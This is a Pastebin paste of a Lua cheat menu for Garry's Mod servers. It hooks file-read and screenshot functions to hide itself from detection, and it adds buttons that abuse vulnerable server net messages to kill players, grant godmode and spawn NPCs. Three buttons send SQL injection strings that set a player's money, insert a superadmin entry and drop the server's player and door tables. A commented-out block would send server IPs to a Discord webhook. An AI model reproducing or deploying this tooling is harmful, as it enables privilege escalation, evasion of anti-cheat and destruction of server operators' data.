BazZziliuS

City

Aug 28th, 2019
350
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 19.10 KB | None | 0 0
  1. if SERVER then return "" end -- autism ye
  2.  
  3. /*
  4. -------------------------------------------
  5. Menu by Solly (because hes cool)
  6. Other by Leith (because im dead in dframe)
  7.  
  8. other:
  9. Color(0, 140, 255) -- cool blue color
  10. Color(245, 245, 220) -- cool beige color
  11. Color(255, 215, 0) -- cool gold color
  12. Color(66, 244, 69) -- cool green color
  13. -------------------------------------------
  14. */
  15.  
  16.  
  17. local _MH=_MH -- another secret hack
  18. local rer=_MH or {} and _G
  19. local startnet=net.Start
  20. totalexploits = 0
  21. exploits = 0
  22. rer.Exploits = {}
  23.  
  24. chat.AddText("syn_menu or press P")
  25. chat.AddText("syn_logo 1/0 - logo")
  26.  
  27. if !fRead then
  28. fRead=file.Read
  29. fOpen=file.Open
  30. end
  31.  
  32. file.Open=function(fn,fm,path)
  33. loh=nil
  34. loh=string.Explode("/",fn)
  35. if (loh[2]&&(loh[#loh-1]=="lua"&&(string.find(loh[#loh],".lua") || string.find(loh[#loh],".txt")) || loh[#loh-1]=="scripthook")) || loh[1]&&(string.find(loh[1],".lua") || string.find(loh[1],".txt"))&&path =="LUA" || string.find(fn,"scripthook/") then
  36. chat.AddText("someone tried using file.open to get your "..fn.." with the PATH: "..path.." and file mode: "..fm..".")
  37. return ""
  38. else
  39. return fOpen(fn,fm,path)
  40. end
  41. end
  42.  
  43. file.Read=function(fn,path)
  44. loh=nil
  45. loh=string.Explode("/",fn)
  46. if (loh[2]&&(loh[#loh-1]=="lua"&&(string.find(loh[#loh],".lua") || string.find(loh[#loh],".txt")) || loh[#loh-1]=="scripthook")) || loh[1]&&(string.find(loh[1],".lua") || string.find(loh[1],".txt"))&&path=="LUA" || string.find(fn,"scripthook/") then
  47. chat.AddText("someone tried grabbing ur file named "..fn..".")
  48. return ""
  49. else
  50. return fRead(fn,path)
  51. end
  52. end
  53.  
  54. net.WriteEntity=function(ent)
  55. if !IsValid(ent) then
  56. net.WriteUInt(0,16)
  57. else
  58. net.WriteUInt(ent:EntIndex(),16)
  59. end
  60. end
  61.  
  62. net.Start=function(str)
  63. startnet(str,true)
  64. end
  65.  
  66. GetServerName=function()
  67.     if !game.SinglePlayer() then
  68.         return GetHostName()
  69.     else
  70.         return "SinglePlayer"
  71.     end
  72. end
  73.  
  74. GetIPAddress=function()
  75.     if !game.SinglePlayer() then
  76.         return game.GetIPAddress()
  77.     else
  78.         return "SinglePlayer"
  79.     end
  80. end
  81.  
  82. GetExploitsList=function()
  83.     local str=""
  84.     for i=1,#rer.Exploits do
  85. --      str=str.."#"..i.." "..rer.Exploits[i][1].." [NetString: "..rer.Exploits[i][3].."]".."\nDescription: "..rer.Exploits[i][2].."\n"
  86.         str=str.."#"..i.." "..rer.Exploits[i][1].." [NetString: "..rer.Exploits[i][3].."]".."\nDescription: "..rer.Exploits[i][2].."\nStatus: "..rer.Exploits[i][4].."\n"
  87.     end
  88.     return str
  89. end
  90.  
  91. ////////////////////////////////////////////////////////////
  92.  
  93. surface.CreateFont("sxlogo", {
  94. size = 35,
  95. weight = 300,
  96. antialias = true,
  97. extended = true,
  98. italic = true,
  99. font = "akbar"
  100. })
  101.  
  102. surface.CreateFont("sxlogo_shadow", {
  103. size = 35,
  104. weight = 300,
  105. antialias = true,
  106. extended = true,
  107. blursize = 3,
  108. italic = true,
  109. font = "akbar"
  110. })
  111.  
  112. AddText=function(text, font, x, y, color, color2, xalign, yalign)
  113. draw.SimpleText(text, font .. "_shadow", x, y, ColorAlpha(color2, 255), xalign, yalign)
  114. draw.SimpleText(text, font, x + 1, y + 1, ColorAlpha(color2, 150), xalign, yalign)
  115. draw.SimpleText(text, font, x, y, color, xalign, yalign)
  116. end
  117.  
  118. sxlogo = CreateClientConVar ("syn_logo","1",false,false)
  119.  
  120. hook.Add("HUDPaint", "sxlogo", function()
  121. if sxlogo:GetBool() then
  122. local cin = (math.sin(CurTime()) + 1) / 2
  123. AddText("SynchronCity", "sxlogo", 17, 17, color_white, Color(cin * 255, 0, 255 - (cin * 255)), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP)
  124. end
  125. end)
  126.  
  127.  
  128. surface.CreateFont("___rer1",{
  129. font="akbar",
  130. size=(ScrW()+ScrH())*0.01,
  131. outline=true
  132. })
  133.  
  134. rer.butpaint=function(but,str)
  135.     but:SetText''
  136.     but.Paint=function(s,w,h)
  137.         if but.Hovered and !but:IsDown() then
  138.             surface.SetDrawColor(255,255,255,100)
  139.             surface.DrawRect(0,0,w,h)
  140.         end
  141.         surface.SetDrawColor(0,0,0)
  142.         surface.DrawOutlinedRect(0,0,w,h)
  143.         draw.SimpleText(str,"___rer1",w*0.5,h*0.5,color_white,1,1)
  144.     end
  145. end
  146.  
  147. //////////////////////////////
  148.  
  149. rer.menu = vgui.Create("DFrame")
  150. rer.menu:SetSize(ScrW()*0.3,ScrH()*0.50)
  151. rer.menu:SetTitle''
  152. rer.menu:Center()
  153. rer.menu:SetVisible(false)
  154. rer.menu:SetMouseInputEnabled(true)
  155. rer.menu:SetKeyBoardInputEnabled(true)
  156. rer.menu:ShowCloseButton(false)
  157. rer.menu.colors={
  158.     [1]=Color(60, 60, 60, 250), -- 60, 60, 60 // 64, 0, 104
  159.     [2]=color_white,
  160.     [3]=color_black,
  161. }
  162. rer.menu.Paint=function(s,w,h)
  163.     local cin = (math.sin(CurTime()) + 1) / 2
  164.     surface.SetDrawColor(rer.menu.colors[1])
  165.     surface.DrawRect(0,0,w,h)
  166.     surface.SetDrawColor(rer.menu.colors[3])
  167.     surface.DrawOutlinedRect(0,0,w,h)
  168. --  draw.SimpleText("SynchronCity "..#rer.Exploits.."/"..totalexploits,"___rer1",5,-1,Color(0, 190, 255))
  169.     draw.SimpleText("SynchronCity ","___rer1",5,-1,Color(0, 190, 255))
  170. --  draw.SimpleText("Exp: "..#rer.Exploits.."/"..totalexploits,"___rer1",425,-1,Color(0, 190, 255))
  171.     surface.DrawLine(0,h*0.06,w,h*0.06)
  172. end
  173.  
  174. rer.oldRC = render.Capture
  175. render.Capture=function(...)
  176.     rer.Menu:SetVisible(false)
  177.     RunConsoleCommand("syn_logo",0)
  178.     render.RenderView()
  179.     render.RenderHUD(0,0,ScrW(),ScrH())
  180.     for k,v in pairs (hook.GetTable()["HUDPaint"]) do
  181.         v()
  182.     end
  183.     return rer.oldRC(...)
  184. end
  185.  
  186. //////////////////////////////
  187.  
  188. rer.menu.closebut=vgui.Create("DButton",rer.menu)
  189. rer.menu.closebut:SetPos(rer.menu:GetWide()-25,5)
  190. rer.menu.closebut:SetSize(20,20)
  191. rer.butpaint(rer.menu.closebut,"X")
  192. rer.menu.closebut.DoClick=function()
  193. surface.PlaySound( "garrysmod/ui_click.wav" )
  194.     rer.menu:SetVisible(false)
  195. --  hook.Remove("RenderScreenspaceEffects", "ad")
  196. end
  197.  
  198. //////////////////////////////
  199.  
  200. local a=vgui.Create("DScrollPanel",rer.menu)
  201. a:SetPos(5,rer.menu:GetTall()*0.07)
  202. a:SetSize(rer.menu:GetWide()-10,rer.menu:GetTall()-(rer.menu:GetTall()*0.07)-5)
  203.  
  204. //////////////////////////////
  205.  
  206.  
  207. local b = a:Add( "DPanel" )
  208. b:Dock( 4 )
  209. b:DockMargin( 0, 0, 0, 5 )
  210. b:SetSize(0,30)
  211. b.Paint=function(s,w,h)
  212.     surface.SetDrawColor(rer.menu.colors[3])
  213.     surface.DrawOutlinedRect(0,0,w,h)
  214. --  draw.SimpleText("-=[Laggers/Crashers]=-","___rer1",w*0.5,h*0.5,rer.menu.colors[2],1,1)
  215. --  draw.SimpleText("","___rer1",w*0.5,h*0.5,rer.menu.colors[2],1,1)
  216. end
  217.  
  218. local z = vgui.Create( "DTextEntry",b )
  219. z:Dock( 4 )
  220. z:DockMargin( 0, 0, 0, 5 )
  221. z:SetSize(0,30)
  222. z:SetText("")
  223. z.Paint=function(s,w,h)
  224.     surface.SetDrawColor(rer.menu.colors[3])
  225.     surface.DrawOutlinedRect(0,0,w,h)
  226. --  if !z.Hovered and z:GetText()=="" then
  227.     if z:GetText()=="" then
  228.     draw.SimpleText("Enter Some Shit Here","___rer1",w*0.5,h*0.5,Color(245, 245, 220),1,1)
  229.     end
  230.     s:DrawTextEntryText(Color(255,255,255,204), Color(70, 70, 255), Color(0,0,0))
  231. end
  232.  
  233.  
  234.  
  235. //////////////////////////////
  236.  
  237. NetString=function(str)
  238. return isstring(str) and util.NetworkStringToID(str) != 0 and str != ""
  239. end
  240.  
  241. //////////////////////////////
  242.  
  243. AddExploit=function(status,text,desc,netstr,func)
  244. totalexploits=totalexploits+1
  245. -- local yaest=false
  246. -- for i=1,#rer.Exploits do
  247.     -- if rer.Exploits[i][1] == text then
  248.         -- yaest=true
  249.     -- end
  250. -- end
  251. -- if yaest then return end
  252.     //////////////////////////////
  253.    
  254.     if(isstring(netstr))then
  255.     if(NetString(netstr) or netstr == "")then
  256.     exploits=exploits+1
  257.     num = exploits
  258.     rer.Exploits[num] = {}
  259.     rer.Exploits[num][1] = text
  260.     rer.Exploits[num][2] = desc
  261.     if(netstr == "")then
  262.     rer.Exploits[num][3] = text
  263.     else
  264.     rer.Exploits[num][3] = netstr
  265.     end
  266.    
  267.     if(status == 1)then
  268.     rer.Exploits[num][4] = "Undetected"
  269.     else
  270.     rer.Exploits[num][4] = "Outdated"
  271.     end
  272.    
  273.     local l = a:Add( "DScrollPanel" )
  274.     l:Dock(4)
  275.     l:DockMargin( 0, 0, 0, 5 )
  276.     l:SetSize(0,42)
  277.  
  278.     //////////////////////////////
  279.  
  280.     local a1=l:Add("DPanel")
  281.     a1:SetSize(0,40)
  282.     a1:Dock(4)
  283.     a1:DockMargin( 0, 0, 0, 5 )
  284.     a1.Paint=function(s,w,h)
  285.         surface.SetDrawColor(rer.menu.colors[3])
  286.         surface.DrawOutlinedRect(20,0,w-40,h)
  287.         if status==1 then
  288.         draw.SimpleText(text,"___rer1",40,h*0.5,rer.menu.colors[2],0,1)
  289.         draw.SimpleText("Undetected","___rer1",255,h*0.5,Color(66, 244, 69),0,1)
  290.         elseif status==2 then
  291.         draw.SimpleText(text,"___rer1",40,h*0.5,rer.menu.colors[2],0,1)
  292.         draw.SimpleText("Outdated","___rer1",255,h*0.5,Color(255, 112, 112),0,1)
  293.         end
  294.     end
  295.     local b=vgui.Create("DButton",a1)
  296.     b:SetPos(a:GetWide()-95,7)
  297.     b:SetSize(70,25)
  298.     b:SetText''
  299.     b.DoClick = func
  300.     b.Paint=function(s,w,h)
  301.         --print(a:GetWide(),a1:GetWide())
  302.         s:SetPos(a1:GetWide()-95,7)
  303.         if b.Hovered and !b:IsDown() then
  304.             surface.SetDrawColor(255,255,255,100)
  305.             surface.DrawRect(0,0,w,h)
  306.         end
  307.         surface.SetDrawColor(0,0,0)
  308.         surface.DrawOutlinedRect(0,0,w,h)
  309.         draw.SimpleText("Start","___rer1",w*0.5,h*0.5,Color(255, 112, 112),1,1)
  310.     end
  311.    
  312.     //////////////////////////////
  313.    
  314.     local n=vgui.Create("DButton",a1)
  315.     n:SetPos(a:GetWide()-170,7)
  316.     n:SetSize(70,25)
  317.     n:SetText''
  318.     n.DoClick = function()
  319.     surface.PlaySound("garrysmod/ui_click.wav")
  320.     chat.AddText("Description of ['"..text.."'] exploit: "..desc)
  321.     end
  322.     n.Paint=function(s,w,h)
  323.     if desc and n.Hovered and !n:IsDown() then
  324.     surface.SetDrawColor(255,255,255,100)
  325.     surface.DrawRect(0,0,w,h)
  326.     n:SetToolTip(desc)
  327.     end
  328.         s:SetPos(a1:GetWide()-170,7)
  329.         surface.SetDrawColor(0,0,0)
  330.         surface.DrawOutlinedRect(0,0,w,h)
  331.         draw.SimpleText("Info","___rer1",w*0.5,h*0.5,Color(0, 140, 255),1,1)
  332.     end
  333.     end
  334.     end
  335. end
  336.  
  337. //////////////////////////////
  338.  
  339. /* EXAMPLE */
  340. --[[
  341. AddExploit(1,"NAME","DESC","NET MESSAGE",function()
  342. surface.PlaySound("garrysmod/ui_click.wav")
  343. chat.AddText("have a nice day ya ~")
  344. end)
  345.  
  346. 1/2 -- Exploit Status: (1)Undetected/(2)Outdated
  347. "NAME" -- Exploit Name
  348. "DESC" -- Exploit Description
  349. "NET MESSAGE" -- Exploit Net Message
  350.  
  351.  
  352. net.WriteString(z:GetText())
  353. net.WriteInt(z:GetText())
  354. net.WriteUInt(z:GetText())
  355. -- and so on
  356. ]]
  357.  
  358. /*
  359. AddExploit(1,"Test Exploit","yeah","properties",function()
  360. surface.PlaySound("garrysmod/ui_click.wav")
  361. RunConsoleCommand("say",z:GetText())
  362. end)
  363. */
  364.  
  365.  
  366. AddExploit(2,"Hack Keypads","Hack all keypads","start_wd_emp",function()
  367. surface.PlaySound("garrysmod/ui_click.wav")
  368. net.Start("start_wd_emp")
  369. net.SendToServer()
  370. end)
  371.  
  372. AddExploit(1,"Radio Sound","radio sounds","wanted_radio",function()
  373. surface.PlaySound("garrysmod/ui_click.wav")
  374. for k,v in pairs(player.GetAll()) do
  375. net.Start("wanted_radio")
  376. net.WriteEntity(v)
  377. net.SendToServer()
  378. end
  379. end)
  380.  
  381. AddExploit(2,"Kill the player","Kills the player you're looking at","Taucannonfire",function()
  382. surface.PlaySound("garrysmod/ui_click.wav")
  383. for i=1,25 do
  384. net.Start("Taucannonfire")
  385. net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
  386. net.WriteBit(true)
  387. net.SendToServer()
  388. end
  389. end)
  390.  
  391. AddExploit(1,"Godmode","when you press the mouse button, you become mortal","territoryEnter",function()
  392. surface.PlaySound("garrysmod/ui_click.wav")
  393. hook.Add("KeyPress","god1",function(ply,key)
  394. if key==IN_ATTACK then
  395. net.Start("territoryExit")
  396. net.SendToServer()
  397. end
  398. end)
  399. hook.Add("KeyRelease","god2",function(ply,key)
  400. if key==IN_ATTACK then
  401. net.Start("territoryEnter")
  402. net.WriteString("SPAWN")
  403. net.SendToServer()
  404. end
  405. end)
  406. end)
  407.  
  408. AddExploit(1,"Disguise #1","eternal disguise","PlayerSetDisModel",function()
  409. surface.PlaySound("garrysmod/ui_click.wav")
  410. PrintTable(team.GetAllTeams())
  411. hook.Add("KeyRelease", "RemoveDisHood", function(player , key)
  412. end)
  413. net.Start("PlayerSetDisModel")
  414. net.WriteString(LocalPlayer():Nick())
  415. net.WriteUInt(tonumber(z:GetText()), 16)
  416. net.SendToServer()
  417. end)
  418.  
  419. AddExploit(2,"Free Money #1","get money","orgcheckname",function()
  420. surface.PlaySound("garrysmod/ui_click.wav")
  421. net.Start("orgcheckname")
  422. net.WriteString("([['; UPDATE darkrp_player SET wallet = 10000000 WHERE uid = ]] .. LocalPlayer():UniqueID() .. [[ OR uid = ]] .. LocalPlayer():SteamID64()..[[; —]])")
  423. net.SendToServer()
  424. end)
  425.  
  426. AddExploit(2,"Get superadmin","get superadmin","orgcheckname",function()
  427. surface.PlaySound("garrysmod/ui_click.wav")
  428. net.Start("orgcheckname")
  429. net.WriteString("([['; INSERT INTO FAdmin_PlayerGroup VALUES (']].. LocalPlayer():SteamID() [[', 'superadmin'); —]])")
  430. net.SendToServer()
  431. end)
  432.  
  433. AddExploit(2,"Destroy database","mem","orgcheckname",function()
  434. surface.PlaySound("garrysmod/ui_click.wav")
  435. net.Start("orgcheckname")
  436. net.WriteString("([['; DROP TABLE darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING); —]])")
  437. net.SendToServer()
  438. end)
  439.  
  440. AddExploit(2,"Spawn Explosive Glass","spawn explosive glass of yourself","Activate294",function()
  441. surface.PlaySound("garrysmod/ui_click.wav")
  442. net.Start("Activate294")
  443. net.WriteBool(true)
  444. net.WriteString("explosion")
  445. net.WriteEntity(LocalPlayer())
  446. net.SendToServer()
  447. end)
  448.  
  449. AddExploit(1,"Spawn Entity","an exploit in vjbase","vj_npcspawner_sv_create",function()
  450. surface.PlaySound("garrysmod/ui_click.wav")
  451. local entname = z:GetText()
  452. net.Start("vj_npcspawner_sv_create")
  453. net.WriteTable({})
  454. net.WriteEntity(LocalPlayer())
  455. net.WriteVector( LocalPlayer():GetEyeTrace().HitPos )
  456. net.WriteType({
  457. {
  458. Entities=entname,
  459. SpawnPosition=Vector(0,0,0),
  460. WeaponsList="",
  461. EntityName=""
  462. }
  463. })
  464. net.WriteString("RightClick")
  465. net.SendToServer()
  466. end)
  467.  
  468. AddExploit(1,"Spawn NPC","an exploit in npc tool","sv_npctool_spawner_spawn",function()
  469. surface.PlaySound("garrysmod/ui_click.wav")
  470. local npc = z:GetText() -- npc_citizen
  471. local wep = "weapon_rpg" -- weapon_rpg
  472. net.Start("sv_npctool_spawner_spawn")
  473. net.WriteVector(LocalPlayer():GetEyeTrace().HitPos)
  474. net.WriteFloat(0)
  475. net.WriteString(npc) // *** NPC ***
  476. net.WriteString("")
  477. net.WriteUInt(0,25)
  478. net.WriteString(wep) // *** WEAPON ***
  479. net.WriteUInt(3,4) // prof
  480. net.WriteFloat(0) // delay
  481. net.WriteUInt(20,6) // max
  482. net.WriteUInt(100,14) // total
  483. net.WriteUInt(0,13) // turnon
  484. net.WriteUInt(1,13) // tuqrnoff
  485. net.WriteUInt(1,1) // effects
  486. net.WriteUInt(1,1) // starton
  487. net.WriteUInt(1,1) // startburrowed
  488. net.WriteUInt(1,1) // deleteonremove
  489. net.WriteUInt(1,1) // patrolwalk
  490. net.WriteUInt(1,2) // patroltype
  491. net.WriteUInt(1,1) // patrolstrict
  492. net.WriteUInt(1,8) // numkeyvalues
  493. local tbKeyValues = {}
  494. tbKeyValues["EquipMine"] = "2"
  495. for key,val in pairs(tbKeyValues) do
  496. net.WriteString(key)
  497. net.WriteString(val)
  498. end
  499. local numPPoints = 1
  500. net.WriteUInt(numPPoints,12)
  501. net.WriteUInt(1,8) // tbRelationships
  502. local tbRelationships = {}
  503. tbRelationships["npc_citizen"] = 3
  504. for class,disp in pairs(tbRelationships) do
  505. net.WriteString(class)
  506. net.WriteUInt(disp,3)
  507. end
  508.  
  509. ////////////////////////
  510. // IF YOU GET THE ERROR, UNCOMMENT THESE LINES!!!
  511. -- local patrolRoute = {}
  512. -- net.WriteTable(patrolRoute)
  513. -- net.WriteUInt(1000, 8) // xp
  514. net.SendToServer()
  515. end)
  516.  
  517. //////////////////////////////
  518.  
  519. /* -- OFF
  520. --[[
  521. local s = a:Add( "DPanel" )
  522. s:Dock(4)
  523. s:DockMargin( 0, 0, 0, 5 )
  524. s:SetSize(0,30)
  525. s:SetPos(30,30)
  526. s.Paint=function(s,w,h)
  527.     surface.SetDrawColor(rer.menu.colors[3])
  528.     surface.DrawOutlinedRect(0,0,w,h)
  529. --    draw.SimpleText("-=[Exploits]=-","___rer1",w*0.5,h*0.5,rer.menu.colors[2],1,1)
  530.       draw.SimpleText("","___rer1",w*0.5,h*0.5,rer.menu.colors[2],1,1)
  531. end
  532. ]]
  533. */
  534.  
  535. //////////////////////////////
  536. concommand.Add("syn_menu", function()
  537. --rer.menu:Show()
  538. rer.menu:SetVisible(true)
  539. rer.menu:MakePopup()
  540. -- hook.Add("RenderScreenspaceEffects", "blur", function()
  541. -- DrawToyTown( 3, ScrH() )
  542. -- end)
  543. -- local da= {
  544.     -- ["$pp_colour_addr"] = 0,
  545.     -- ["$pp_colour_addg"] = 0,
  546.     -- ["$pp_colour_addb"] = 0,
  547.     -- ["$pp_colour_brightness"] = 0,
  548.     -- ["$pp_colour_contrast"] = 1,
  549.     -- ["$pp_colour_colour"] = 0,
  550.     -- ["$pp_colour_mulr"] = 5,
  551.     -- ["$pp_colour_mulg"] = 3,
  552.     -- ["$pp_colour_mulb"] = 2
  553. -- }
  554. -- hook.Add( "RenderScreenspaceEffects", "ad", function()
  555. -- DrawColorModify(da)
  556. -- end)
  557. end)
  558. //////////////////////////////
  559. rer.menu.mem=0
  560. --rer.menu:Hide()
  561.  
  562. hook.Add("Think", "MenuOpen", function()
  563. if input.IsKeyDown(KEY_P) then
  564. rer.menu.mem = rer.menu.mem + 1
  565. if rer.menu.mem == 1 then
  566. LocalPlayer():ConCommand("syn_menu")
  567. end
  568. else
  569. rer.menu.mem = 0
  570. end
  571. end)
  572.  
  573. //////////////////////////////
  574. rer.menu.unload=vgui.Create("DButton",rer.menu)
  575. rer.menu.unload:SetPos(rer.menu:GetWide()-430,5)
  576. rer.menu.unload:SetSize(80,20)
  577. rer.menu.unload:SetText''
  578. rer.menu.unload.Paint=function(s,w,h)
  579.         if rer.menu.unload.Hovered and !rer.menu.unload:IsDown() then
  580.             surface.SetDrawColor(255,255,255,100)
  581.             surface.DrawRect(0,0,w,h)
  582.         end
  583.         surface.SetDrawColor(0,0,0)
  584.         surface.DrawOutlinedRect(0,0,w,h)
  585.         draw.SimpleText("Unload","___rer1",w*0.5,h*0.5,color_white,1,1)
  586. end
  587.  
  588. rer.menu.unload.DoClick=function()
  589.     surface.PlaySound("garrysmod/ui_click.wav")
  590.     chat.AddText("unloaded :<")
  591.     rer.menu:Remove()
  592.     rer.menu.colors={}
  593.     hook.Remove("HUDPaint", "sxlogo")
  594.     concommand.Remove("syn_logo")
  595.     concommand.Remove("syn_menu")
  596.     rer.butpaint=function() end
  597.     AddText=function() end
  598.     NetString=function() end
  599.     AddExploit=function() end
  600.     Send=function() end
  601.     hook.Remove("Think", "MenuOpen")
  602.     rer.menu.mem=0
  603. end
  604.  
  605. rer.menu.info=vgui.Create("DButton",rer.menu)
  606. rer.menu.info:SetPos(rer.menu:GetWide()-345,5)
  607. rer.menu.info:SetSize(185,20)
  608. rer.menu.info:SetText''
  609. rer.menu.info.Paint=function(s,w,h)
  610.         if rer.menu.info.Hovered and !rer.menu.info:IsDown() then
  611.             surface.SetDrawColor(255,255,255,100)
  612.             surface.DrawRect(0,0,w,h)
  613.         end
  614.         surface.SetDrawColor(0,0,0)
  615.         surface.DrawOutlinedRect(0,0,w,h)
  616.         draw.SimpleText("Save Exploits Info","___rer1",w*0.5,h*0.5,color_white,1,1)
  617. end
  618.  
  619. rer.menu.info.DoClick=function()
  620. if exploits >= 1 then
  621.     surface.PlaySound( "items/ammo_pickup.wav" )
  622.     local name = "SynchronCity/"..string.Replace(GetIPAddress(),":","-").." ("..exploits.."-"..totalexploits..").txt"
  623.     chat.AddText(name)
  624.     if(!file.Exists("SynchronCity","DATA"))then
  625.         file.CreateDir("SynchronCity")
  626.     end
  627.     file.Write(name,"IP: "..GetIPAddress().." aka '"..GetServerName().."'\r\nExploits Count: "..exploits.."/"..totalexploits.."\r\nExploit List:\r\n")
  628.    
  629.     for i=1,#rer.Exploits do
  630.         file.Append(name,"\r\n".."#"..i.." "..rer.Exploits[i][1].." [NetString: "..rer.Exploits[i][3].."]".."\r\nDescription: "..rer.Exploits[i][2].."\r\nStatus: "..rer.Exploits[i][4].."\r\n")
  631.     end
  632.     else
  633.     surface.PlaySound("garrysmod/ui_click.wav")
  634.     chat.AddText("there are no exploits here idiot :<")
  635.     return
  636.     end
  637.    
  638. /*
  639. DOESN'T WORK BECAUSE THE DISCORD DEVELOPERS ARE IDIOTS
  640. --[[
  641. local function LogsOnDiscord_SendLog(json)
  642. http.Post("WEBHOOK",json,
  643. function(result) end)
  644. end
  645.  
  646. function Send(text)
  647. if(isstring(text)) then
  648. local text = string.JavascriptSafe(text)
  649. local json_table=[[
  650. {
  651. "username": "Server Exploits Info",
  652. "avatar_url": "https://i.imgur.com/qsttI92.jpg",
  653. "embeds":[
  654. {
  655. "footer": {
  656. "text": "]]..GetServerName()..[[",
  657. "icon_url": "https://i.imgur.com/qsttI92.jpg"
  658. },
  659. "color": "5124767",
  660. "title": "Profile",
  661. "url": "http://steamcommunity.com/profiles/]]..LocalPlayer():SteamID64()..[[",
  662. "description": "]] .. text .. [[",
  663. "timestamp": "]] .. os.date("!%Y-%m-%dT%H:%M:%S", os.time()) ..[["
  664. }]
  665. }
  666. ]]
  667.  
  668. local tbl = util.JSONToTable(json_table)
  669. tbl["payload_json"] = json_table
  670. LogsOnDiscord_SendLog(tbl)
  671. end
  672. end
  673.  
  674. --Send("**Server IP:**\n > "..GetIPAddress().."\n**Server Name:**\n > "..GetServerName().."\n**Exploits Count:**\n > "..exploits.."/"..totalexploits.."\n**Exploits List:**\n"..GetExploitsList().."")
  675. Send("**Server IP:**\n > "..GetIPAddress().."\n**Exploits Count:**\n > "..exploits.."/"..totalexploits.."\n**Exploits List:**\n"..GetExploitsList().."")
  676. else
  677. surface.PlaySound("garrysmod/ui_click.wav")
  678. chat.AddText("there are no exploits here idiot :<")
  679. return
  680. end
  681. ]]
  682. */
  683. end
Add Comment
Please, Sign In to add comment